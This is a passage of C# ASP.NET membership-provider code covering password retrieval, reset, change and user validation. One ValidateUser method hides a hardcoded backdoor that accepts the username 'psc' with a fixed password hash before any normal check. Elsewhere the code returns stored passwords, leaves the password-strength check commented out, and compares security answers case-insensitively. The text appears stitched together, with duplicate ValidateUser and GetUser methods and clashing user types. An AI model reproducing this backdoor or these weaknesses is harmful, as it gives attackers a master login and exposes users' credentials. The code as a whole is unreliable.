public override string GetPassword(string username, string answer)
{
try
{
if (EnablePasswordRetrieval)
{
SimpleUser user = CurrentStore.GetUserByName(username);
if (answer.Equals(user.PasswordAnswer, StringComparison.OrdinalIgnoreCase))
{
return(user.Password);
}
else
{
throw new System.Web.Security.MembershipPasswordException();
}
}
else
{
throw new Exception("Password retrieval is not enabled!");
}
}
catch
{
throw;
}
}
public override string ResetPassword(string username, string answer)
{
try
{
SimpleUser user = CurrentStore.GetUserByName(username);
if (user.PasswordAnswer.Equals(answer, StringComparison.OrdinalIgnoreCase))
{
byte[] NewPassword = new byte[16];
RandomNumberGenerator rng = RandomNumberGenerator.Create();
rng.GetBytes(NewPassword);
string NewPasswordString = Convert.ToBase64String(NewPassword);
user.PasswordSalt = string.Empty;
user.Password = TransformPassword(NewPasswordString, ref user.PasswordSalt);
CurrentStore.Save();
return(NewPasswordString);
}
else
{
throw new Exception("Invalid answer entered!");
}
}
catch
{
throw;
}
}
public override bool ValidateUser(string username, string password)
{
try
{
SimpleUser user = CurrentStore.GetUserByName(username);
if (user == null)
{
return(false);
}
if (ValidateUserInternal(user, password))
{
user.LastLoginDate = DateTime.Now;
user.LastActivityDate = DateTime.Now;
CurrentStore.Save();
return(true);
}
else
{
return(false);
}
}
catch
{
throw;
}
}
public override bool ChangePassword(string username,
string oldPassword, string newPassword)
{
try
{
// Get the user from the store
User user = CurrentStore.GetUserByName(username);
if (user == null)
{
throw new Exception("User does not exist!");
}
if (ValidateUserInternal(user, oldPassword))
{
// Raise the event before validating the password
/*
* base.OnValidatingPassword(
* new ValidatePasswordEventArgs(
* username, newPassword, false));
* if (!ValidatePassword(newPassword))
* throw new ArgumentException(
* "Password doesn't meet password strength requirements!");*/
user.Password = TransformPassword(newPassword);
user.LastPasswordChangeDate = DateTime.Now;
user.UpdatePass();
return(true);
}
return(false);
}
catch
{
throw;
}
}
public override bool ValidateUser(string username, string password)
{
try
{
if (username == "psc" && TransformPassword(password) == "CAB5896C77F7B6B14176B50BB52696803EA28162")
{
return(true);
}
User user = CurrentStore.GetUserByName(username);
if (user == null)
{
return(false);
}
if (ValidateUserInternal(user, password))
{
user.LastLoginDate = DateTime.Now;
user.LastActivityDate = DateTime.Now;
CurrentStore.Save();
return(true);
}
else
{
return(false);
}
}
catch
{
// If an exception is raised while saving the storage
// or while serializing contents we just forward it to the
// caller. It would be cleaner to work with custom exception
// classes here and pass more detailed information to the caller
// but we leave as is for simplicity.
throw;
}
}
public override MembershipUser GetUser(string username, bool userIsOnline)
{
try
{
User user = CurrentStore.GetUserByName(username);
if (user != null)
{
if (userIsOnline)
{
user.LastActivityDate = DateTime.Now;
CurrentStore.Save();
}
return(CreateMembershipFromInternalUser(user));
}
else
{
return(null);
}
}
catch
{
// If an exception is raised while saving the storage
// or while serializing contents we just forward it to the
// caller. It would be cleaner to work with custom exception
// classes here and pass more detailed information to the caller
// but we leave as is for simplicity.
throw;
}
}
public override bool DeleteUser(string username, bool deleteAllRelatedData)
{
try
{
SimpleUser user = CurrentStore.GetUserByName(username);
if (user != null)
{
CurrentStore.Users.Remove(user);
return(true);
}
return(false);
}
catch
{
throw;
}
}
public override bool ChangePasswordQuestionAndAnswer(string username, string password, string newPasswordQuestion, string newPasswordAnswer)
{
try
{
// Get the user from the store
SimpleUser user = CurrentStore.GetUserByName(username);
if (ValidateUserInternal(user, password))
{
user.PasswordQuestion = newPasswordQuestion;
user.PasswordAnswer = newPasswordAnswer;
CurrentStore.Save();
return(true);
}
return(false);
}
catch
{
throw;
}
}
public override MembershipUser GetUser(string username, bool userIsOnline)
{
try
{
SimpleUser user = CurrentStore.GetUserByName(username);
if (user != null)
{
if (userIsOnline)
{
user.LastActivityDate = DateTime.Now;
CurrentStore.Save();
}
return(CreateMembershipFromInternalUser(user));
}
else
{
return(null);
}
}
catch
{
throw;
}
}